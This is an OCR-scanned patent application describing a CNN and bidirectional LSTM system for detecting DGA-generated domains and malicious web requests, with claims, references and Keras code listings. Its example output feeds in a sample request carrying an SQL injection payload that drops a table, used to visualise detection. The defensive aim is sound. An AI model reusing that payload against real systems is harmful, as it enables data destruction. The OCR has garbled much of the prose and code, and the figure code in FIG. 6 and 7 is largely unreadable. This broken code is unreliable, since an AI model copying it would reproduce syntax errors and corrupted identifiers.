[00274] In accordance with some embodiments, domains are analyzed on a per character
level, and provided into a sequence of CNN layers. Features are provided as inputs into a
bidirectional LSTM (RNN), and the final output declared benign or DGA-generated.
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[00275] The Convolutional Neural Network (CNN) layers are used for pattern detection and
compression, while the RNN helps with memory and context. Various regularization
techniques such as batch-normalization and dropout are also employad. In order to interpret
how the algorithm makes its decisions, it is important to understand how the neural network
is “thinking". A visualization technique is developed, illustrating the similarity between the
thought processes of humans and neural networks.

[00276] A 1D convolutional tayer applies a filter of sequence length n that scans across the
sample and returns a value for each step. The filter, in some embodiments, is essentially a
vector of n values that perform a basic linear regression on the input before being passed
through a non-linear activation. In some examples, the non-linear activation can be a
rectified linear unit (ReLu) that keeps the value if positive, and sets it to zero if negative. As
the network is trained, the filter values are updated so that they are more effective at
identifying and/or determining patterns.

[00277] Anocther feature of convolutional layer filters is that they can have a stride: meaning
how many letters it skips before applying the filter again. This has the added benefit of
compressing data and reducing computational complexity. Three convolutional layers may
be used: one with stride 1, and two with stride 2. After each convolutional layer, the system
is configured to apply dropout and batch normalization. Dropout randomly switches off some
filters during training. This prevents a model from relying on some filters more than others as
this can lead to over-fitting. ' S

[00278] Batch-normalization is a sound application of statistics to normalize the data that is
being processed in baiches. Following our convolutional layers we apply a bi-directional
recurrent layer, specifically a Long Short Term Memory (LSTM) layer. An LSTM has the
ability to act like a normal neural network (passes the sample data through a linear function,
then a non-linear activation) and then remember the output of that function when the next
sample comes along. The LSTM then has memory of all past text that it processed, and
because the LSTM is bidirectional, the LSTM has memory of all future text too. This may be
useful when dealing with long sequences.
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[00279] The last layer in the network is the classification layer. In some embodiments, the
classification layer is configured as a single neuron that determines whether or not a domain
is DGA-generated, based on the input of alt the cells from the LSTM. In training the neural
network, the system may be configured to optimize the cost function. In other words, the
system is configured to minimize how wrong the algorithm is for a given set of weights (the

values that make up the filters and cells of the convolutional and recurrent layers).

[00280] The system can be implemented, for example, using various processors and
memory in the form of a neural network system. An input receiver can be used for receiving
domain name requests from devices. A convolutional neural network unit may be used fo
provide the n convolutional layers and is configured for receiving the input text and
processing the input text through the various convolutional layers (for example, having
various different parameters that may aid in processing, such as stride length). A recurrent
neural network unit is provided having one or more long short term memory layers, the
recurrent neural network unit configured to perform pattern recognition, and a classification
unit may be utilized to receive the output data from the recurrent neural network unit to
perform a detemmination of whether the input text or portions of the input text are DGA-

generated or benign domains.

[00281] This system is designed for detecting cyber bots (or botnets) operating on a
computer or in an enterprise environment. The team has developed a machine learning-
based algorithm to flag suspected bot activity by analyzing sent and received data
packets. The system may look for repeated access of rmany nonsensical domain
names. Natural language processing is used to process host names to determine which are
likely to be real and which generated. The system also looks for cases where multiple
domains resolve to the same IP address, and where many DNS lookup requests are not
resolved. The output of the system is presently to raise a flag for a person to review the

flagged access.
Example Code

[00282] Careful selection of parameters is an important factor. Factors for tuning, for
example, include the number of layers to be implemented (e.g., the convolutional layers
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were used to reduce the sequence length and find patterns), whereby increased layers may
help ease the computational burden, but too many layers would reduce the overall accuracy.
The number of filters in the convolutional layers needs o be selected, as too few would
cause the model to underfit, and further, too many would cause it to overfit, as both would
lead to cause a drop in accuracy at test time. ‘ -

[00283] The kernel_size is chosen so that it would encapsulate the majority of a word as it
scanned across the {ext, and the activation type is chosen to help the network learn various
types of parameters. In this example, reLu was chosen (e.g., over tanh). Batch
normalization was chosen {0 help speed up training and improve test accuracy, and drop out
was infroduced to prevent overfitting. The value was carefully chosen, much like the number

of filters.

[00284] The recurrent layer was parameterized with an optimal level of dropout and optimal
number of cells, and a bi-directional LSTM was chosen as the LSTM includes a long term
memory component, which is of more use than a regular Recurrent Neural Network, and bi-
directional was chosen to adapt to attacks can be in at any point in the sequence.

hatch_size = 384

n_epochs=10

model = Sequential()

model.add(Convolution1D(filters=16, kernel_size=7, strides=1,activation="relu’,

input_shape=InputSize, name="convid_1")

model.add(BatchNormalization())

model.add(Dropout(0.1))

model.add(Convolution1D(filters=18, kermnel_size=7, strides=2,activation="relu’,
name='convid_2")

model.add(BatchNormalization())

model.add(Dropout(0.1))

model.add(Convolution1D(filters=16, kernel size=7, strides=2 activation="rel’,
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name='convid_3)

model.add(Bidirectional(!. STM(32,return_sequences=True,dropout=0.4,
recurrent_dropout=0.15),name="BiDrnn_1")

model.add(Flatten())

- model.add(Dense(1, kernel_initializer="normal', activation="sigmoid',name="siglayer'))

history=model.fit(X_train, y_train, epochs=n_epochs, batch_size=batch_size, :

verbose=2, validation_split=0.2, shuffle=True)

Text Input

def text_2_int(text): )
dataX =[] '

val=[]
for char in text;
try:
val.append(Chars2int[char])
except:
val.append(0)
dataX.append(val)
return dataX
def int_2_vec(text):

textinput = pad_sequences(text_2_int(text), maxlen=1425, dtype="float32')
X = np.zeros((1, 1425, len(chars)), dtype=np.bool)
for i, sample in enumerate(textinput):

for t, charint in enumerate(sample): ,
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if int(charlnt)l=0:
X[i, t, int(charint)-1} = 1
return X

print X.shape

Character importance

def relufilter(z):
s=np.maximum(z,0)
return z

def GetFeatureScale(x FilterNum,Layernum=0,samplelength=7,subsample=1):

FeaturedX=np.zeros([x.shape[1],1])

layerQuiput = K.function(fmodel.layers[0].input,
K.leaming_phase()],Imodel.layers[Layermnum].output])

layer_output = np.array(layerOutput([x,0]))

for stridestep in range(layer_output.shape[2]):

FeaturedX[stridestep*subsample:stridestep*subsample+samplelengthl=np.maximum
(FeaturedX[stridestep*subsample:stridestep*subsample+samplelength],(layer_output

[O][O][stridestep][FilterNum])*np.ones([samplelength, 1))

FeaturedX/~= max(FeaturedX+1e-5)

return FeaturedX

Colour Mapping
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def hex_to_RGB(hex):
" "¥FFFFFF" -> [255,255,255] "
return [int(hex{i:i+2], 16) for i in range(1,6,2)]

# In[3]:
def RGB_to_hex(RGB):
™ [255,255,255] -> "#FFFFFE" "™
RGB = [int(x) for x in RGB]
return “#'+" join(["0{0:x}" format(v) if v < 16 else
“{0:x}" format(v) for v in RGBY])

# In[4]:
def linear_gradient(start_hex, finish_hex="#¢FFFFFF", n=10):
" returns a gradient list of (n) colors between
two hex colors. start_hex and finish_hex
should be the full six-digit color string,
inlcuding the number sign ("#FFFFFF") "
# Starting and ending colors in RGB form
s = hex_to_RGB(start_hex)
f=hex_to RGB(finish_hex)
# Initialize a list of the oufput colors with the starting color
RGB_list = [s]
# Calculate a color at each evenly spaced value of { from 1 ton
for tin range(1, n):
# Interpolate RGB vector for color at the current value of t
curr_vector = [
int(s[j] + (float(t)/(n-1))*(flil-s[i]))

for j in range(3)
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]

curr_vector=tuple(curr_vector)
# Add it to list of output colors
RGB_list.append(curr_vector)

return [tuple(x) for x in RGB_|ist}#RGB _list !
# In[5];
def ColourDict(x fitterVec, ColourGradient). :

#if sum(filtervec)!=0:

filterVec/=np.max(filterVec)
Featuredx=((len(ColourGradient)-1)*filterVec).astype(int)
featuresAsColours=[ColourGradient(int(num)] for num in Featuredx}
text=".join(x)

return x featuresAsColours

# In[6]:

breaklim=101
def HTMLThatText(x,filterVec,ColourGradient, bgcol="):

if bgcol:
background=bgcol
else:
background=RGB_to_hex(ColourGradient{0])
htmlcode="
text,strength=ColourDict(x fitterVec, ColourGradient)
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htmlcode+=""<him/>

<head>

</head>
<body style="background-color:
j=0
for i in range(len(text)):
jr=t
c=text(i]
s=str(strengthli])
if ¢ =="\n"
htmlcode +=""<br>""
if breaklim%(j+1)==0:

htm lecode +=““"<br>"""

j=0
# #print s
# #print ¢

htmlcode += I“.“<Span Sty’e_;.llcolor:rgb""" +S+ l“"l\"}“"" +C+ II</5pan>"

himlcode+="""</p></pbody>
</himl>
return himicode
#f.write(message)
#.close()
#.write(message)
#.close()
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def HtmlJupyter(message):
from IPython.display import display,HTML
chart = HTML({message)
display(chart)

#In[8]:

# def ShadedText(x filterVec,start_hex="#FFFFFF", finish_hex="#002888", n=10):
def ShadedText(x filterVec,start_hex="#000000", finish_hex="#f0000", n=10):

#if sum(filtervec)==0:

# white=hex_to RGB("#FFFFFF")

# broadcastvec=np.ones((len(filterVec),3))

# ColourGradient=[tuple(x) for x in (white+broadcastvec)]
#else:
ColourGradient=linear_gradient(start_hex, finish_hex, n)

filteredtext=HTMLThatText(x filterVec,ColourGradient)
return HtmlJupyter(filterediext)

#In[]:

options = {
‘margin-left’: '0mm’,
'margin-right': '0Omm,

'margin-bottomn’”; '0mm’,

'margin-top": '0mm’
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Example Output

aftack='GET
hitp:/llocalhost:8080/ienda1/publico/caracteristicas.jsp?id=%27%3B+DROP+TABLE
+usuarios%3B+SELECT+*+FROM+datos+WHERE+nombre+LIKE+%27%25

HTTP/M1.1'

x=int_2_vec(attack)

=16

layer=7

step=4
filtervec=GetFeatureScale(x,f,Layernum=layer,samplelength=7,subsample=step)

filtervec=relufilter(filtervec)
X= np.nonzero(x)[2]
x=[Int2Chars[c+1] for ¢ in x]

x =["]* ({filtervec.shape[0]) - len(x))+x

np.set_printoptions(threshold="nan’)
print "layer: " + str(layer), "filler: "+ str(f)

text=ShadedText(x filtervec,start_hex="#FFFFFF", finish_hex="#002888",n=50)

[00285] The following references are hereby incorporated by reference in their entireties.

1. Cooke, Evan, Farnam Jahanian, and Danny McPherson. "The Zombie Roundup:
Understanding, Detecting, and Disrupting Botnets." SRUT/ 5 (2005): 6-6.

2. Antonakakis, Manos, et al. "From Throw-Away Traffic to Bots: Detecting the Rise of
DGA-Based Malware." USENIX security symposium. Vol. 12, 2012.
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3. Yadav, Sandeep, et al. "Detecting algorithmically generated malicious domain names.”
Proceedings of the 10th ACM SIGCOMM conference on internet measurement. ACM,

2010. 5

4. Vu, Ngoc Thang, et al. "Combining recurrent and convolutianal neural networks for
relation classification." arXiv preprint arXiv:1605.07333 (2016).

5. Szegedy, Christian, et al. "Going deeper with convolutions." Proceedings of the IEEE 5
conference on computer vision and pattern recognition. 2015. ,

I
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WHAT IS CLAIMED [S:

1. A system for detection of malicious software generated networking addresses, the

systern comprising: at least one processor configured for:
receiving at least one networking address from at least one input source;

converting the at least one networking address into a plurality of inputs for a first
layer of a neural netwark, the neural network including at least one convolutional layer, and
at least one recurrent neural network fayer, the neural network configured to generate an
output providing an indication of whether the at least one networking address as a
malicious software generated networking address; and

when the output indicates that the at least one networking address as the malicious
software generated netwoerking address, generating signals for storing and flagging the at
least one networking address as the malicious software generated networking address.

2. The system of claim 1, wherein receiving the at least one networking address
comprises monitoring requests to access externally addresses resources from one or more
devices in the system, the requests including one or more networking addresses.

3. The system of claim 1, wherein converting the at least one networking address
comprises coding each character in the at least one networking address as an input value

to the first layer of the neural network.

4, The system of claim 3, wherein coding each character in the at least one
networking address comprises including punctuation, spacing and special characters as
input values to the first layer of the neural network.

5. The system of claim 3, wherein coding each character in the at least one
networking address comprises mapping each character in the at least one networking
address to an n-dimensional vector, where n is greater than or equal to a number of
characters in a set of possible characters in a networking address.
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6. The system of claim 1, wherein the at least one processor is configured for
determining an edit distance between the at least one networking address and at least one
known malicious software generated networking address. -

7. The system of claim 1, wherein the neural network comprises at least two parallel
convolutional layers, each configured with a different filter size.

8. The system of claim 1, wherein the at least one processor is configured for training
the neural network with negatively-labelled networking addresses based on at least one
website database, and with positively-labelled networking addresses generated by at least

one malicious software generating algorithm.

9. The system of claim 1, wherein the output is a classification score providing a
relative indication of whether the at least one networking address is the malicious software

generated networking address,

10.  The system of claim 1, wherein the at least one processor is configured for: when
the output indicates that the at least one networking address as the malicious software

generated networking address:
blocking requests to access the at least one networking address;

identifying a device requesting access to the at least one networking address as

potentially infected with malicious software;

associating the at least one networking address with one or more network
addresses previously flagged as a malicious software generated networking address for
determining a malicious software networking address generating algorithm; or

generating an alert message indicating a potential malicious software generated

networking address was detected.

11. A method for detection of malicious software generated networking addresses

conducted on at least one processor, the method comprising:
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recejving at least one netwarking address from at least one input source;

converting the at least one networking address into a plurality of inputs for a first
layer of a neural network, the neural network including at least one ¢onvolutional layer, and
at least one recurrent neural network layer, the neural network configured to generate an
output providing an indication of whether the at least one networking address as a
malicious software generated networking address; and

when the output indicates that the at least one networking address as the malicious
software generated networking address, generating signals for storing and flagging the at
least one networking address as the malicious software generated networking address.

12 The method of claim 11, wherein receiving the at least one networking address
comprises monitering requests to access externally addresses resources from one or more
devices in the method, the requests including one or more networking addresses.

13. The method of claim 11, wherein converting the at least one networking address
comprises coding each character in the at least one networking address as an input value

to the first layer of the neural network.

14.  The method of claim 13, wherein coding each character in the at least one
networking address comprises including punctuation, spacing and special characters as

input values to the first layer of the neural network.

158.  The method of claim 13, wherein coding each character in the at least one
networking address comprises mapping each character in the at least one networking
address to an n-dimensional vector, where n is greater than or equal to a number of

characters in a set of possible characters in a networking address.

16. The method of claim 11, wherein the neural network comprises at least twa parailel

convolutional layers, each configured with a different filter size.

17.  The method of claim 11, wherein the at least one procassor is configured for
training the neural network with negatively-labelled networking addresses based on at
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least one website database, and with positively-labelled networking addresses generated

by at least one malicious software generating algorithm.
18.  The method of claim 11, comprising:

when the output indicates that the at Jeast one networking address as the malicious

software generated hetworking address:
blocking requests to access the at least one networking address;

identifying a device requesting access o the at least one networking address as

potentially infected with malicious software;

associating the at least one networking address with one or more network
addresses previously flagged as a malicious software generated networking address for
determining a malicious software networking address generating algorithm; or

generating an alert message indicating a potential malicious software generated

networking address was detected.

19. A computer readable media storing machine readable instructions, which when
executed, cause a processor to perform a method for detection of malicious software

generated networking addresses, the method comprising:
receiving at least one networking address from at least one input source;

gonverting the at least one networking address into a plurality of inputs for & first
layer of a neural network, the neural network including at least one convolutional layer, and
at least one recurrent neural network layer, the neural nefwork configured to generate an
output providing an indication of whether the at least one networking address as a

malicious software generated networking address; and

when the output indicates that the at least one networking address as the malicious
software generated networking address, generating signals for storing and flagging the at
least one networking address as the malicious software generated networking address.
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20. A neural network system, including one or more processors, configured for
detection of malicious domain names, the neural network system comprising: -

an input receiver configured for receiving input text in the form of one or more

domain name samples from one or more domain name input sources;

~ a convolutional neural network unit including one or more convolutional layers, the
convolutional neural network unit configured for receiving the input text and processing the
input text through the one or more convolutional layers to generate a constrained set of

one or more features;

a recurrent neural network unit including one or more long short terrn memory
layers, the recurrent neural network unit configured to perform pattern recognition on the
constrained set of the one or more features and o generate output data;

a classification unit including one or more classification layers, the classification
unit configured to receive the output data from the recurrent neural network unit to perform
a determination of whether the input text or portions of the input text are malicious domain

names or benign domain names; and

wherein the input receiver is configured to map each character of the one or more
domain name samples to a multi-dimensional vector, and to set a sequence dimension of
gach domain name sample to a uniform sample length by padding any remainders with
emptly vectors, the input receiver generating a |T| x [V| sparse matrix;

wherein the [T] x |V| sparse matrix is received by the convelutional neural network
unit and processed by each of the one or more convolutional layers, each layer including a

set B e RO%S ot fiters, each with length d, which are configured to scan across the |T]

x [V| sparse matrix, and

wherein the |T| x [V| sparse matrix is iteratively processed through each of the one
or more convolutional layers, and an element-wise product of each filter fk and the |T| x |V|
sparse matrix are passed through a non-linear activation function ¢;
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wherein a rectified linear unit provides the non-linear activation function ¢ and
utilized to discard any negative values, and to retain all positive values, and the [T} x |V|
sparse matrix is iteratively processed through each of the one or more convolutional layers

to reduce a size of data being analyzed at each iteration;

wherein the recurrent neural network unit includes a bi-directional long shart term
memory network including at least an input gate and a forget gate, the input gate

configured using the relation:
it = O'(Wi X+ Uj - heq + b;l)

, and the forget gate configured using the relation:

ft = G(Wf “ Xt + Uf ) ht—l T I}f); and

wherein W; and U: are weight matrices, where x is a single time'step from a
sequence (X0, . . ., XT), hy is information from a previous state, by are bias vectors and o

is a sigmoid function having the refation:

1
1+exp™

a{x) =
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oupur: | (Noune, 179712)
k J
input: | Neme, 179712)
Dense
oulpul: MNooe, 1)

FIG. 3B
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dot got_saaples(vext.loc): 6500
Rax)angth=0
token=(?GET!, HEAD! , *POST?, 'FUT/ , 'DELETE’ , *CONNECT! , ' OPTIOND!, *TRAGE?)
chunkse(] 4/
currents{]

for 1ine in tezt_loc:

if 1ine,avextsvith(zuple(toker)) and current:
curreats”®, jainf{current)
chunks . append (current)
mexlongihrmax(mazlength, bea(curront})
current={]

enrrens . appand(line)

nazlengthepox (narlengul, 1an (suzrent))

return chunks maxleagtlt

4 Infd]:

Bad=yesd, toxt('anazalousTradticTest txt")

Soodwraad_text(’normallrafficTraining, tat*)

$creats character vecabulary and index

charr=sorted (1187 (sox (open(? snonal cusTrafficTast. vat’) . Toad())) }¥hineoprorate normal vocsb (can choat
vith out-af-vosab syube

Chavs2iatadict{{c,int(i+1)} for i,c in enumeratelchars))

Int2Chars=dict((§+1, ¢) for i, c & emvmerate{chars))

# Charaddnt(’] = 0

¥ Int2Cheraf0] =i:

Malicious3anples, fadl=get_sanples(Bad)

BenignSanph:,Goodl.-ge':_smph:(cood)

Piright nov SameSize §8 used o pake gure that both catogories are equally sawpled

SmeSize=nin(len (HallciousSanples) , 1en (BenigoSanples) )

print Semaize

MaliciousBanplaschaliciousSenples :Sanafize] [ Sane5ize]

BonignSanples=BenignSanples [ Sane3ize]

# Int2Chars[§1] = Int2Chava.pop(0)

# Char=2int[*\n"] = 61

#print BanignSamples(o]
print IntXChars
#print Chara2int
2print len(Int2Chars)
# Iaf5]:
¥awiteh chexs to index values
dof get_dntaX(concat logs):
dataX = []
for zeg in in concat,logs:
#99q_in =concat loge (i)
val~ (Chers2int [char] €or char in seq_in]
dataX.append(val)

roturn dataX
£ In[6]:
nar_noruel = maz(map(len, BepignSamples))

pex_ananaly - pax(map(len, HaliciousGamplas))
#Pind the lepgest sample in terma of charactexs

FIG. 6
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700

max_lon  mex(max_narmal, BeX.anomaly)
print(nax.den) 4/

dateX_normal = get_dataX {BenignSumples)

dataX_onamaly = gow dataX (MalieieusSenples)

tpad shoriex zequences vith zeros

X_noruel » pad_sequences(dotal normal, mexlenrmar len, dtype='float32!)
. ancrely = pad_sequences (dataX_snegaly, sazlen=nax. les, dypes'floard?’)
Y. conbincd=np. concatenata( (X _noxral, X anomaly), axiged)
Y_nornal=mp.zeros (len(datal_norkal))

{_apcualy-np . ones (Len{dataX_snonaly))

Y_cogbined=nh. concatenats({{Y_navmal, V_anonzly), axiswd)

Y = Y_combined

¥ In[7]:

vpaps senples fato n 3D imput satrix (boglean)
X = op.zezos{(lea(i combined), max.len, len{chava)), diypernp.bool)
print X.shape
for i, sample in anuperato(X_coabined):

for t, charInt in crunerste(aanple):

<f snt{charlnt) !=0:
X[, t, int(charint)-1) =1

X.train, T_teet, y.train, y_test = traip_test_splis(X, ¥, test_sizesd.1, randon_states?)
del Xéfree up nemory

#X_train.2hape
print X_tzain shape[1:)

¢ 4 Hodel Bslsction
# Inl8):
batch_sizo = 162
epochs=10

nodel + Sequential(}

model. edd(ConvedutioniD{nh_f1)Tezul?®, £5lter_lengthe?, subsexple.lepgth=1,activetions'zelu’,
input,shapesX_train.chape{l:], name=convid 1'))

¥batch neTR

nodel. add (BatchNorualization())

nodel.3dd (Dropeut (0.1))

nodel.add(ConvelutioniD (pb_filter=129, filter_lengthe?, sybsample_length=2,activation-'relu!, name=’
convid_2'))

20dsl.add(Batchiormalization())

noded add{Dropeut (0, 1))

model. 2dd(ConvolationiD(nb_tiltern128, filter lengthe7, cubsample_lengthel, activation=’xala’, uahe=’
convid_31))

pode . add(Bidd rectional (LSTH(256,zaturn_sequencea=Trus, dropout_¥e0 .4, dropout U, 15} ,nase='Bi0ran 1)
)

nodel.add (Flatten(})¥oply noed to edd if xeturn sequences True

acdel.add(Dense(l, intt=’nermal’, activatiosa’aigmeid,name='siglayer’))

uodel. cenpile(loss="binary, crossentropy’, optimizer='adan’, wetrics=[‘aceuracy’,'recall’, *precizion’])
#nedel. 1oad_veighta(! SCANIRANNithOrepoutFlatten. b5 )

historyemodel. fit(X train, y_train, b mpepoch-epocha, batch_size=bateh.size, vorbogae,
validation split=d 2, shuffle=Trus)

#nodel .cave_velghts('ay_model _veights.hf'}

FIG. 7
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input (None, 53, 36)
InputLayer
output (Nene, 53, 38)
input {Nong, 53, 38)
Convolution1D
output {None, 50, 64)
input (None, 50, €4)
BatchNormalization
output (Noneg, 50, 64)
input (None, 50, 64)
Drapaut
output (Nune, 50, 64)
input {None, 50, 64)
Convolution1D
output (Nong, 24, 64)
input (None, 24, 64)
BatchNormalization
output (None, 24, 64)
input (Nane, 24, 64)
Dropaut
oulput {None, 24, 64)
input (Nane, 24, 64)
Convolution1D
output (None, 11, 64)
Bidirectiongl input (None, 11, 64)
(LST™) output (Nene, 11, 128)
input one, 11, 128,
Flatten ™ )
output (None, 1408)
input {None, 1406)
Dense
output {None, 1)

CA 3000166 2018-04-03
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‘ ot ] (None, 59, 38) |
Inputiayar ‘ oot ' {Nons, 89, 38) —‘
[
‘ gt | {Nong, $3, 38) J
‘ gt | {None, 50, 84) \
[
‘ P | {Nons, 50, 64) \
‘ gt | {Nong, 50, 64) ‘
[
’ ot ; {Nora, 8, 64) —|
Drapout | P T (Nans, 50, 64) |
[
| oot ‘ {None, 60, 54) |
| ot ‘ (Nong, 24, B4} |
\
|; oot j (Nong, 24, 64) [
| o I Mono 2660 |
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